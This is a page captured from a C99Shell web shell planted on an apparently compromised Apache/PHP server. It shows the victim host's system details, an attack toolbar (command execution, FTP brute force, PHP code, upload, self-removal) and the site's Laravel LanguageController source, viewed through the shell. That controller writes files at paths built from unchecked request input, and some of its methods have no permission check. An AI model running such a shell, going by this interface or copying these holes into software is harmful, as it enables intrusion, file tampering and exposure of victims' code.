!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/uploads/script/app/Http/Controllers/Admin/   drwxr-xr-x
Free 13.26 GB of 57.97 GB (22.87%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     LanguageController.php (5.59 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers\Admin;

use 
App\Http\Controllers\Controller;
use 
Illuminate\Http\Request;
use 
Auth;
use 
App\Option;
use 
Cache;
class 
LanguageController extends Controller
{
    
/**
     * Display a listing of the resource.
     *
     * @return \Illuminate\Http\Response
     */
    
public function index()
    {
        if (!
Auth()->user()->can('language_edit')) {
            return 
abort(401);
        }
        
$posts=Option::where('key','languages')->first();
        
$actives=Option::where('key','active_languages')->first();

        
$posts=json_decode($posts->value ?? '');
        if (!empty(
$actives)) {
            
$actives=json_decode($actives->value);
            
$data=[];
            foreach (
$actives as $key => $value) {
                
array_push($data$key);
            }
            
$actives=$data;

        }
        else{
           
$actives=[]; 
        }
       
        return 
view('admin.language.index',compact('posts','actives'));
    }

    
/**
     * Show the form for creating a new resource.
     *
     * @return \Illuminate\Http\Response
     */
    
public function create()
    {
        if (!
Auth()->user()->can('language_edit')) {
            return 
abort(401);
        }
        
$posts=base_path('langlist.json');
        
$posts=file_get_contents($posts);
        
$posts=json_decode($posts);
        return 
view('admin.language.create',compact('posts'));
    }

    
/**
     * Store a newly created resource in storage.
     *
     * @param  \Illuminate\Http\Request  $request
     * @return \Illuminate\Http\Response
     */
    
public function store(Request $request)
    {
        
$validatedData $request->validate([
            
'language' => 'required',
            
'language_name' => 'required',
        ]);

       
        
$file=base_path('resources/lang/default.json');
        
$file=file_get_contents($file);
        
\File::put(base_path('resources/lang/'.$request->language.'.json'),$file);

        
$arr=[];

        
$langlist=Option::where('key','languages')->first();
        if (!empty(
$langlist)) {
            
$langs=json_decode($langlist->value);
            foreach (
$langs as $key => $value) {
                
$arr[$key]=$value;
            }
        }
             
        
$arr[$request->language]=$request->language_name;
           
        if (empty(
$langlist)) {
           
$langlist=new Option;
           
$langlist->key='languages';
        }
        
$langlist->value=json_encode($arr);
        
$langlist->save();

        return 
redirect('/admin/language/'.$request->language);

    }

    public function 
add_key(Request $request){
      
$file=base_path('resources/lang/'.$request->id.'.json');
      
$posts=file_get_contents($file);
      
$posts=json_decode($posts);
      foreach(
$posts as $key => $row){
        
$data[$key]=$row;
      }
      
$data[$request->key]=$request->value;
      
      
\File::put(base_path('resources/lang/'.$request->id.'.json'),json_encode($data,JSON_PRETTY_PRINT));
      return 
response()->json('Key Added');  
    }

    public function 
show($id)
    {
        if (!
Auth()->user()->can('language_edit')) {
            return 
abort(401);
        }

        
$file=base_path('resources/lang/'.$id.'.json');
        
$posts=file_get_contents($file);
        
$posts=json_decode($posts);
        return 
view('admin.language.edit',compact('posts','id'));
    }
    
/**
     * Update the specified resource in storage.
     *
     * @param  \Illuminate\Http\Request  $request
     * @param  int  $id
     * @return \Illuminate\Http\Response
     */
    
public function update(Request $request$id)
    {
        
$data=[];
        foreach (
$request->values as $key => $row) {
            
$data[$key]=$row;
        }
        
$file=json_encode($data,JSON_PRETTY_PRINT);
        
\File::put(base_path('resources/lang/'.$id.'.json'),$file);

        return 
response()->json(['Changes Saved']);
    }

    public function 
setActiveLanuguage(Request $request)
    {
        
        
$posts=Option::where('key','active_languages')->first();
        
$actives=json_decode($posts->value ?? '');
        
$active_languages=[];
        
        foreach (
$request->ids as $key => $value) {

            foreach (
$value as $k => $row) {
                
$active_languages[$row]=$k;
            }
        }
        if (empty(
$posts)) {
            
$posts= new Option;
            
$posts->key'active_languages';
        }
        
$posts->value=json_encode($active_languages);
        
$posts->save();
        
Cache::forget('active_languages');
        return 
response()->json(['Language Activated']);
    }

    
/**
     * Remove the specified resource from storage.
     *
     * @param  int  $id
     * @return \Illuminate\Http\Response
     */
    
public function destroy($id)
    {
        
$posts=Option::where('key','languages')->first();
        
$actives_lang=Option::where('key','active_languages')->first();


        
$post=json_decode($posts->value ?? []);
        
$actives=json_decode($actives_lang->value ?? '');

        
$data=[];
        foreach (
$post as $key => $row) {
            if (
$id != $key) {
               
$data[$key]=$row;
            }
            
        }

        
$active_languages=[];
        foreach (
$actives ?? [] as $ke => $value) {
             if (
$id != $ke) {
               
$active_languages[$ke]=$value;
            }
        }

        
$posts->value=json_encode($data);
        
$posts->save();

        if (empty(
$actives_lang)) {
            
$actives_lang= new Option;
            
$actives_lang->key'active_languages';
        }

        
$actives_lang->value=json_encode($active_languages);
        
$actives_lang->save();

        return 
back();
        
//return $id;
    
}
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0046 ]--